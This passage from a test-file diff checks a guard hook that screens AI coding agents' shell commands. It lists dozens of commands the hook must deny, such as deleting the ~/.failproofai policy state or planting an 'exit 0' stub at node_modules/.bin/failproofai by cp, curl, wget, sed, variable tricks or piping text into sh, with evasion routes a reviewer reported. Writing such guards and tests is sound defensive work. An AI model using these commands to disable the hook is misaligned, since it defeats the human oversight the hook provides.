`//` and `/./`", "rm -rf ~//./.failproof*"], + // A home no candidate spells. A dotfile glob that can match + // `.failproofai` counts wherever it stands, as the name itself does: + // `rm -rf ~/.cache/.f*` is refused for the same reason. + ["the state, in a home outside /home", "rm -rf /var/lib/jenkins/.failproof*"], + ["the state's name in another directory", "rm -rf ~/.cache/.f*"], + ])("denies a glob onto the entry through %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // npm's bin directory itself: whatever a directory moved, linked or copied + // onto it holds becomes an entry, and npx searches every parent's. + it.each([ + ["a link over home's", "ln -s /tmp/stage ~/node_modules/.bin"], + ["a move", "mv /tmp/stage node_modules/.bin"], + ["a recursive copy", "cp -r /tmp/stage/ node_modules/.bin/"], + ["a copy onto it with -T", "cp -rT /tmp/stage node_modules/.bin"], + ["a copy of a directory's contents", "cp -a /tmp/stage/. node_modules/.bin/"], + ["rsync of a directory's contents", "rsync -a /tmp/stage/ node_modules/.bin/"], + ["a build directory, which becomes the directory when it is missing", "cp -r dist/ node_modules/.bin/"], + ])("denies %s onto node_modules/.bin", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A word is read without knowing whether it sits in quotes, so a quoted + // `#` or `<` must not hide the words after it. + it.each([ + ["a quoted # before an output flag", "curl -sS -H 'X-Ticket: #1795' -o ~/.failproofai/policies-config.json https://example.com/c"], + ["a quoted # before -delete", "find ~/.failproofai -name 'x #' -o -delete"], + ["a quoted # before tee's file", "printf 'exit 0' | tee 'a #' node_modules/.bin/failproofai"], + ["a quoted < in an option value", 'cp /tmp/stub.sh --suffix "y < " node_modules/.bin/failproofai'], + ["a {fd} redirect after the destination", "cp /tmp/stub.sh node_modules/.bin/failproofai {fd}>/dev/null"], + ["an abbreviated option's value after the destination", "cp /dev/null ~/.failproofai/policies-config.json --suf x"], + ["an rsync option's value after the destination", "rsync /tmp/stub.sh node_modules/.bin/failproofai --max-delete 5"], + ["a .. that steps back into .bin", "cp /tmp/stub.sh node_modules/.bin/x/../failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Paths built from what the same line assigns, and the shell's position + // carried through every way a shell moves it. + it.each([ + ["a variable holding the directory", "D=node_modules/.bin; cp /tmp/stub.sh $D/failproofai"], + ["a variable spliced into the state", "X=ai; rm -rf ~/.failproof$X"], + ["a variable holding npm's bin directory", "B=~/node_modules/.bin; ln -s /tmp/stage $B"], + ["a cd into a variable", "D=node_modules/.bin; cd $D && cp /tmp/stub.sh failproofai"], + ["$PWD after a cd", "cd node_modules/.bin && cp /tmp/stub.sh $PWD/failproofai"], + ["popd back to the directory", "pushd node_modules/.bin && pushd /tmp && popd && cp /tmp/stub.sh failproofai"], + ["cd - back to the directory", "cd node_modules/.bin && cd /tmp && cd - && cp /tmp/stub.sh failproofai"], + ["parentheses inside quotes", 'echo "(" && cd node_modules/.bin && echo ")" && cp /tmp/stub.sh failproofai'], + ["a directory named .bin moved into a node_modules", "mv /tmp/x/.bin ~/node_modules/"], + ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], + ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], + ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + // A `popd` with nothing to return to fails and leaves the shell there. + ["a popd on an empty stack", "cd node_modules/.bin; popd; cp /tmp/stub.sh failproofai"], + ["$HOME spelled out", "cd $HOME/node_modules/.bin && cp /tmp/stub.sh failproofai"], + // A `cd` the walk cannot follow may land in npm's bin directory. + ["a cd into a command substitution", 'cd "$(npm root)/.bin" && cp /tmp/stub.sh failproofai'], + ["a redirect after a cd into a substitution", "cd $(npm root)/.bin && printf 'exit 0' > failproofai"], + ["a cd into backticks", "cd `npm root`/.bin && cp /tmp/stub.sh failproofai"], + ["a cd into a variable the line does not set", "cd $NODE_BIN && cp /tmp/stub.sh failproofai"], + ["a copy into . after a cd the walk cannot follow", 'cd "$(npm root)/.bin" && cp /tmp/stage/failproofai .'], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Shell moves the walk follows as bash makes them, so that none of them + // leaves the walk somewhere safer than the shell really is. + it.each([ + ["slashes after the directory", "cd ~/.failproofai//////////////////// && rm -rf *"], + ["slashes after npm's bin directory", "cd node_modules/.bin//////////////////// && printf 'exit 0' > failproofai"], + ["a redirect before the cd operand", "cd 2>/dev/null ~/.failproofai && rm -rf *"], + ["a popd with nothing to pop", "cd ~/.failproofai; popd; rm -rf *"], + ['cd ""', 'cd ~/.failproofai; cd ""; rm -rf *'], + ["cd - to an OLDPWD the line sets", "OLDPWD=~/.failproofai; cd -; rm -rf *"], + ["~- after a cd away", "cd ~/.failproofai && cd /tmp && rm -rf ~-/*"], + ["a bare cd to a HOME the line sets", "HOME=~/.failproofai; cd; rm -rf *"], + ["pushd +1 back onto the directory", "cd ~/.failproofai && pushd /tmp && pushd +1 && rm -rf *"], + ["a subshell's cd undone", "cd ~/.failproofai && (cd /tmp) && rm -rf *"], + ["an escaped parenthesis in a subshell", "cd ~/.failproofai && (echo \\) && cd /tmp) && rm -rf *"], + ["a cd into a substitution that names the state", 'cd "$(echo ~/.failproofai)" && rm -rf *'], + // An assignment the shell never makes (`:` is a no-op) cannot replace + // the value the walk judges: the word is judged as written too. + ["a decoy assignment before a copy", "D=~/.failproofai/policies-config.json; : D=x; cp /dev/null $D"], + ["a decoy assignment before a redirect", "D=~/.failproofai/policies-config.json; : D=x; echo {} > $D"], + // A complete option name is not an abbreviation of a longer one. + ["rsync --partial", "rsync --partial /tmp/stage/failproofai node_modules/.bin/"], + ["rsync --checksum", "rsync --checksum /tmp/stage/failproofai node_modules/.bin/"], + ["rsync -a --compress of a directory's contents", "rsync -a --compress /tmp/stage/ node_modules/.bin/"], + ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], + // A program handed to a shell is judged as the command it is. + ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + // A `cd` that fails leaves the shell where it was, and `;` runs the next + // command anyway. + ["a cd out of the state that may fail", "cd ~/.failproofai; cat config.json; cd /elsewhere; rm -rf *"], + // A `..` that climbs above the sixteen directories the walk reads from. + ["a climb above a deep cd", "cd node_modules/.bin && cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && printf x > ../../../../../../../../../../../../../../../../../failproofai"], + // Symlinks the same line makes, before any `lstat` could see them. + ["a write through a link the line makes to the directory", "ln -s /work/proj/node_modules/.bin /tmp/bins && printf x > /tmp/bins/failproofai"], + ["a write through a link the line makes to the entry", "ln -s /work/proj/node_modules/.bin/failproofai /tmp/hook && printf x > /tmp/hook"], + // In a loop, an assignment later on the line can come first. + ["a loop that assigns the directory after the copy", 'while :; do cp /tmp/x "$D/failproofai"; D=/work/proj/node_modules/.bin; done'], + // Shim names spelled with a glob, as a destination and as a source. + ["a glob for npm's cmd shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.[c]md"], + ["a glob source for npm's cmd shim", "cp /tmp/stage/failproofai.[c]md node_modules/.bin/"], + ["moving a .bin directory given with a trailing slash", "mv /tmp/x/.bin/ ~/node_modules/"], + // A command word that is also an Object property name once threw inside + // the guard, and a policy that throws is skipped. + ["a command named like an Object method", "constructor -v; cp /tmp/x node_modules/.bin/failproofai"], + ["a command named __proto__", "__proto__ -v; rm -rf ~/.failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The session's directory is where the command starts: a `cd` in an + // earlier call persists. + it.each([ + ["/work/proj/node_modules/.bin", "cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "printf 'exit 0' > failproofai"], + ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], + ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], + ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + // The same path glued to the last option of a cluster, however long. + ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], + ["/work/proj/node_modules", `wget -${"q".repeat(40)}O.bin/failproofai https://example.com/x`], + ])("denies a write from the session directory %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A move that can fail leaves the shell where it already was, and only + // `&&` makes the next command wait for it. + it.each([ + ["/work/proj/node_modules/.bin", "cd /nonexistent; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp || true; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp && true; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b; cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin/sub", "cd /tmp; cd ..; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /nonexistent; popd; printf x > failproofai"], + // `-n` changes the stack and leaves the shell where it is. + ["/work/proj/node_modules/.bin", "pushd -n /tmp; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "popd -n; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], + ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], + ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + // More possible directories than the walk tracks: the oldest is not + // forgotten, so a failed first cd still leaves the shell in .bin. + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e && cd /f && cd /g && cd /h && cd /i; printf x > failproofai"], + // `$PWD` and `~+` are wherever the shell may stand. + ["/work/proj/node_modules/.bin", 'cd /tmp; printf x > "$PWD/failproofai"'], + ["/work/proj/node_modules/.bin", "cd /tmp; cp /tmp/stub.sh ${PWD}/failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp; printf x > ~+/failproofai"], + ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A download names its file after the URL, so the line never spells the + // entry's path; scp and a remote rsync source copy like cp. + it.each([ + ["/work/proj/node_modules/.bin", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -q example.com/dl/failproofai"], + ["/work/proj/node_modules/.bin", "curl -sSLO https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl -O https://example.com/failproofai%2Ecmd"], + // The server picks the name, or a file lists the URLs. + ["/work/proj/node_modules/.bin", "curl -OJ https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget --content-disposition https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget -i urls.txt"], + ["/work/proj/node_modules/.bin", "wget -r -nd https://example.com/dl/"], + ["/work/proj", "wget -P node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget -qPnode_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget --directory-prefix=node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/failproofai"], + ["/work/proj", "cd node_modules/.bin && wget https://example.com/failproofai"], + ["/work/proj", "scp host:failproofai node_modules/.bin/"], + ["/work/proj", "scp -T user@host:/tmp/failproofai node_modules/.bin/"], + ["/work/proj", "rsync host:failproofai node_modules/.bin/"], + // An output file glued to its option, alone or after a cluster. + ["/work/proj", "curl -sonode_modules/.bin/failproofai https://example.com/x"], + ["/work/proj", "curl -so~/.failproofai/policies-config.json https://example.com/x"], + // A file `-o` names lands in `--output-dir` (found by hermes on + // FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir=node_modules/.bin -sofailproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin --output failproofai https://example.com/x"], + // An absolute name is joined to it too, and each `--next` transfer keeps + // its own directory (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o /failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/dl/failproofai --next --output-dir /tmp -O https://example.com/y"], + ["/work/proj", "curl -o /tmp/a https://example.com/a -: --output-dir node_modules/.bin -o failproofai https://example.com/b"], + ])("denies a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget https://example.com/my-tool"], + ["/work/proj", "curl -O https://registry.npmjs.org/failproofai/-/failproofai-1.0.0.tgz"], + ["/work/proj/node_modules/.bin", "curl -o /tmp/x https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -r https://example.com/docs/"], + ["/work/proj", "curl -OJ https://example.com/download"], + ["/work/proj", "scp ./failproofai host:node_modules/.bin/"], + ["/work/proj", "scp -r host:project ./backup"], + ["/work/proj", "wget -qO- https://example.com/api | jq ."], + ])("allows a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // A value glued to its option is a path, read from where the shell stands + // like any other (found by hermes on FailproofAI/failproofai#1058). Where a + // command's value-taking letters are known the cluster is read as getopt + // reads it; elsewhere every split of it is tried. + it.each([ + ["/work/proj/node_modules/.bin", "curl -sofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "curl --output=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -Ofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -qOfailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget --output-document=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "sort -ofailproofai notes.txt"], + ["/work/proj/node_modules/.bin", "gcc -ofailproofai main.c"], + ["/work/proj/node_modules/.bin", "tar -cffailproofai src"], + ["/work/proj/node_modules/.bin", "curl -" + "s".repeat(40) + "ofailproofai https://example.com/x"], + // A cluster longer than anyone writes is not tried at every split. + ["/work/proj/node_modules/.bin", "foo -" + "a".repeat(40) + "ofailproofai"], + ["/work/proj", "cd node_modules/.bin && curl -sofailproofai https://example.com/x"], + ["/work/proj", "D=failproofai; cd node_modules/.bin && curl -so$D https://example.com/x"], + ])("denies an output file glued to its option from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + // A file a sed script writes with `w`, `W` or the `w` flag of `s///`, + // glued on or after spaces (found by hermes on FailproofAI/failproofai#1058). + it.each([ + ["/work/proj", "sed -n 'w node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed 's/a/b/wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -e 's/a/b/gw node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'Wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n --expression='w node_modules/failproofai/dist/cli.mjs' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -n 'wfailproofai' /tmp/stub.sh"], + ["/work/proj", "cd node_modules/.bin && sed -n 'wfailproofai' /tmp/stub.sh"], + // After an address, and in a script whose `;` is quoted text (found by + // hermes on FailproofAI/failproofai#1058). + ["/work/proj", "sed -n '1wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '10,20wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '$wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '1!wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -e 's/w/x/;1wfailproofai' /tmp/stub.sh"], + ])("denies a sed script writing the entry from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + "sed -n 's/a/b/p' notes.txt", + "sed 's/raw/cooked/' notes.txt", + "sed -n 'w out.txt' notes.txt", + "sed -n '/failproofai/p' notes.txt", + "sed 's/www/web/g' urls.txt", + "sed -n 'w /tmp/copy.txt' node_modules/.bin/failproofai", + "sed -n '1w out.txt' notes.txt", + "sed -n 'bigwig' notes.txt", + "sed 's/new/old/g; s/a/b/' notes.txt", + ])("allows a sed script that writes no protected file: %s", async (command) => { + expect(await bashIn("/work/proj", command)).not.toBe("deny"); + }); + + // A value set only in a subshell, only for one command, or only if a test + // passes does not replace the one before it, so a word is read with every + // value the line gives its variables (found by hermes on + // FailproofAI/failproofai#1058). + it.each([ + ["/work/proj/node_modules/.bin", "F=failproofai; (F=x); printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x true; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x env; cp /tmp/stub.sh $F"], + ["/work/proj/node_modules/.bin", Array.from({ length: 70 }, (_, i) => `F=v${i}`).join("; ") + "; F=failproofai; false && F=x; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; " + Array.from({ length: 70 }, (_, i) => `F=y${i} true`).join("; ") + "; printf y > $F"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); printf y > $D/failproofai"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); cp /tmp/stage/failproofai $D/"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x | true; printf y > $F"], + // Every combination of the values of the variables one word names + // (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "A=fail; B=proofai; (A=x; B=y); printf x > node_modules/.bin/$A$B"], + ["/work/proj", "A=fail; B=proofai; A=x true; B=y true; printf x > node_modules/.bin/${A}${B}"], + ["/work/proj", "A=fa; B=il; C=proofai; (A=x; B=y; C=z); printf x > node_modules/.bin/$A$B$C"], + // More combinations than are tried is refused, not guessed at. + ["/work/proj", Array.from({ length: 13 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 13 }, (_, i) => `$V${i}`).join("")], + ])("denies a write through a variable another value may hold, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "F=a; F=b; printf y > $F"], + ["/work/proj", "D=dist; (D=build); rm -rf $D"], + ["/work/proj", "F=a; F=b; echo " + Array(2000).fill("$F/$F").join(" ")], + ["/work/proj", "A=a; A=b; B=c; B=d; printf x > $A$B"], + ["/work/proj", Array.from({ length: 12 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 12 }, (_, i) => `$V${i}`).join("")], + ])("allows a reassigned variable that never reaches the entry, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], + ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], + ["/work/proj", "gcc -O2 -Wall -o build/app main.c"], + ["/work/proj", "tar -czf backup.tgz src"], + ["/work/proj", "curl -sSfL -o /tmp/x https://example.com/x"], + ["/work/proj", "git log --format=%h -n 5"], + ])("allows option values from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // `echo` and `printf` print quoted text and run none of it, so documenting + // a command is not running it (found by hermes on + // FailproofAI/failproofai#1058). Text a shell does run is still read as + // one, and so is a real redirect. + it.each([ + "echo 'cat > node_modules/.bin/failproofai'", + "printf '%s\\n' '> node_modules/.bin/failproofai'", + 'echo "cat > node_modules/.bin/failproofai"', + "echo 'cat > ~/.failproofai/policies-config.json'", + "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + // Escaped and ANSI-C quoted, to another descriptor or nowhere, through + // readers that only show it, and beside a subshell that is not around it. + "echo cat \\> node_modules/.bin/failproofai", + "echo $'cat > node_modules/.bin/failproofai\\n'", + "echo 'cat > node_modules/.bin/failproofai' >&2", + "echo 'cat > node_modules/.bin/failproofai' > /dev/null", + "echo 'cat > node_modules/.bin/failproofai' | cat", + "printf '%s\\n' 'cat > node_modules/.bin/failproofai' | grep cat | wc -l", + "(cd src && ls); echo 'cat > node_modules/.bin/failproofai'", + // Into a documentation file, when nothing on the line runs a file (found + // by hermes on FailproofAI/failproofai#1058). + "echo 'cat > node_modules/.bin/failproofai' >> docs/notes.md", + "printf '%s\\n' '> node_modules/.bin/failproofai' > docs/recipe.md", + "echo 'cat > node_modules/.bin/failproofai' | tee -a docs/notes.md", + "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", + "echo 'cat > node_modules/.bin/failproofai'; echo done", + "echo 'cat > node_modules/.bin/failproofai' > docs/notes.md && git add docs/notes.md", + ])("allows printing a command as text: %s", async (command) => { + expect(await bash(command)).toBe("allow"); + }); + + it.each([ + "bash -c 'printf x > node_modules/.bin/failproofai'", + "echo 'printf x > node_modules/.bin/failproofai' | sh", + "echo 'printf x > node_modules/.bin/failproofai' |& sh", + "echo 'printf x > node_modules/.bin/failproofai' > /tmp/s.sh && sh /tmp/s.sh", + "printf -v c 'printf x > node_modules/.bin/failproofai'; eval \"$c\"", + "(echo 'printf x > node_modules/.bin/failproofai') | sh", + "{ echo 'printf x > node_modules/.bin/failproofai'; } | sh", + "xargs -I{} sh -c {} <<'EOF'\necho 'printf x > node_modules/.bin/failproofai'\nEOF", + "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", + "echo 'exit 0' > node_modules/.bin/failproofai", + 'echo x >node_modules/.bin/fail"proof"ai', + // A reader that keeps it, a loop or condition piped into a shell, an + // `echo` the line redefines, the shell's own output sent to one, and a + // substitution, which runs. + "echo 'printf x > node_modules/.bin/failproofai' | grep x | sh", + // A file printed into, then run on the same line. + "echo 'printf x > node_modules/.bin/failproofai' > docs/s.sh && sh docs/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' > s.sh; ./s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | tee s.sh | sh", + "for i in 1; do\necho 'printf x > node_modules/.bin/failproofai'\ndone | sh", + "if true; then\necho 'printf x > node_modules/.bin/failproofai'\nfi | sh", + 'echo() { sh -c "$*"; }; echo \'printf x > node_modules/.bin/failproofai\'', + "alias echo='sh -c'\necho 'printf x > node_modules/.bin/failproofai'", + "exec > >(sh); echo 'printf x > node_modules/.bin/failproofai'", + "exec >/tmp/s.sh; echo 'printf x > node_modules/.bin/failproofai'; sh /tmp/s.sh", + 'echo "$(cat > node_modules/.bin/failproofai < /tmp/stub.sh)"', + // An interpreter spelled with quotes or an escape is still an + // interpreter, and so is one behind `time` or a variable (found by + // hermes on FailproofAI/failproofai#1058). + "echo 'printf x > .failproofai/policies-config.json' > notes; 'sh' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"sh\" notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; s'h' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \\sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; time sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"$SHELL\" notes", + ])("denies quoted text something runs, or a real redirect: %s", async (command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload reports the session's directory only (found by hermes on + // FailproofAI/failproofai#1058). A relative destination that would plant + // the entry, were that directory npm's bin directory, is refused; nothing + // else is read differently. + it.each([ + "printf '#!/bin/sh\\nexit 0\\n' > failproofai", + "printf x >> ../../failproofai", + "cd src && printf x > ../failproofai", + "tee failproofai < /tmp/stub.sh", + "cp /tmp/stub.sh ./failproofai", + "cp /tmp/stage/failproofai .", + "mv /tmp/stub.sh failproofai.cmd", + "ln -s /tmp/stub.sh failproofai", + "curl -sofailproofai https://example.com/x", + "wget -O failproofai https://example.com/x", + "wget https://example.com/dl/failproofai", + "curl -OJ https://example.com/download", + "gcc -o failproofai main.c", + "dd if=/tmp/stub.sh of=failproofai", + "printf x > failproofai/dist/cli.mjs", + // Through a directory that may be a link where the command really runs. + "printf x > tbins/failproofai", + "printf x > x/y/failproofai.cmd", + "cp /tmp/stub.sh deps/failproofai/dist/cli.mjs", + "sed -n 'wfailproofai' /tmp/stub.sh", + "F=failproofai; (F=x); printf y > $F", + 'F=failproofai; F=x true; printf y > "$F"', + ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); + + it.each([ + "which failproofai", + "npm view failproofai version", + "rm -rf dist/*", + "twine upload dist/*", + "cat failproofai", + "printf x > src/failproofai.ts", + "cd /tmp && printf x > failproofai", + "printf x > tbins/notes.txt", + "printf x > docs/intro.md", + ])("allows a Codex command that plants nothing: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it("reads a Codex command from the workdir the call reports", async () => { + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/node_modules/.bin" })).toBe("deny"); + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/src" })).toBe("allow"); + }); + + it("reads other agents' commands from the session's directory", async () => { + expect(await bashAs("claude", { command: "printf x > failproofai" })).toBe("allow"); + expect(await bashAs(undefined, { command: "printf x > failproofai" })).toBe("allow"); + }); + + it.each([ + ["running another package's binary", "./node_modules/.bin/vitest run"], + ["running a binary through node", "node node_modules/.bin/eslint src"], + ["running a binary by its relative path", "node_modules/.bin/tsc --noEmit -p ."], + ["listing the directory", "ls -la node_modules/.bin"], + ["looking at the entry", "ls -l node_modules/.bin/failproofai"], + ["reading the entry", "cat node_modules/.bin/failproofai"], + ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["clearing every entry under an upper-case parent", "rm -rf NODE_MODULES/.BIN/*"], + ["installing dependencies", "npm install"], + ["adding a dev dependency", "npm i -D vitest"], + ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], + ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], + ["copying an entry out into a directory", "cp node_modules/.bin/failproofai /tmp/inspect/"], + ["moving a source file", "mv src/failproofai.ts src/guard.ts"], + ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ["backing the state up into a directory", "cp -r ~/.failproofai /tmp/backup/"], + ["backing the state up with a redirect", "cp ~/.failproofai/config.json /tmp/backup.json 2>/dev/null"], + ["reading the state with a redirect", "cat ~/.failproofai/config.json 2>/dev/null"], + // A value is not a source. + ["installing a binary owned by a user of that name", "install -o failproofai -g failproofai -m 0755 build/agentd /usr/local/bin/"], + ["creating directories owned by a user of that name", "install -d -o failproofai /srv/app/bin"], + // `.bin` starts a path component, or it is another name. + ["copying a file onto one whose name ends in .bin", "cp failproofai release.bin"], + ["running a binary after a cd", "cd node_modules/.bin && ./vitest run"], + ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], + ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], + ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], + // Somebody's own `~/.bin` is not npm's. + ["moving a tool into ~/.bin", "mv /tmp/tool ~/.bin/"], + ["linking a script into ~/.bin", "ln -s ~/dotfiles/scripts/deploy ~/.bin/"], + ["copying scripts into ~/.bin", "cp -r ./scripts/ ~/.bin/"], + ["syncing dotfiles into ~/.bin", "rsync -a dotfiles/bin/ ~/.bin/"], + ["moving a binary into a project's .bin", "mv golangci-lint .bin/"], + // `ln` cannot create a directory given a trailing `/`. + ["linking a package's CLI into node_modules/.bin/", "ln -s ../my-pkg/cli.js node_modules/.bin/"], + // A one-segment glob below another directory is not aimed at the state. + ["a glob ending in ai", "rm -rf models/*ai"], + ["a glob ending in i", "rm -f out/*i"], + ["a glob around proof", "rm -rf vendor/*proof*"], + ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], + ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], + ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], + ["a cd and a build", "cd packages/api && npm run build"], + ["clearing a scratch directory", "cd /tmp && rm -rf *"], + // A `cd` the walk cannot follow changes nothing for ordinary names. + ["tests from the repository root", 'cd "$(git rev-parse --show-toplevel)" && npm test'], + ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], + ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], + ["a listing of home", "cd $HOME && ls -la"], + // Redirects and comments are not operands, and a comment line runs nothing. + ["a comment line that names the state", "# Look at ~/.failproofai\nls -la ~/.failproofai"], + ["reading the state through an input redirect", "uniq -c < ~/.failproofai/x.log | sort -rn"], + ["tee fed from the state", "tee -a /tmp/x < ~/.failproofai/policies-config.json"], + ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], + ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], + ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], + // rsync puts a source directory inside the destination; it does not + // become npm's bin directory. + ["syncing a directory into the bin directory", "rsync -a /tmp/my-tool node_modules/.bin/"], + // Outside a loop the shell reads a variable as it stands at that point. + ["a variable assigned only after its use", 'D=/tmp; cp notes.txt "$D/failproofai"; D=/work/proj/node_modules/.bin'], + // Each stage of a pipeline is a subshell, so its cd moves nothing after it. + ["a cd in a pipeline stage", "cd node_modules/.bin | true; cp notes.txt failproofai"], + // `cd -` 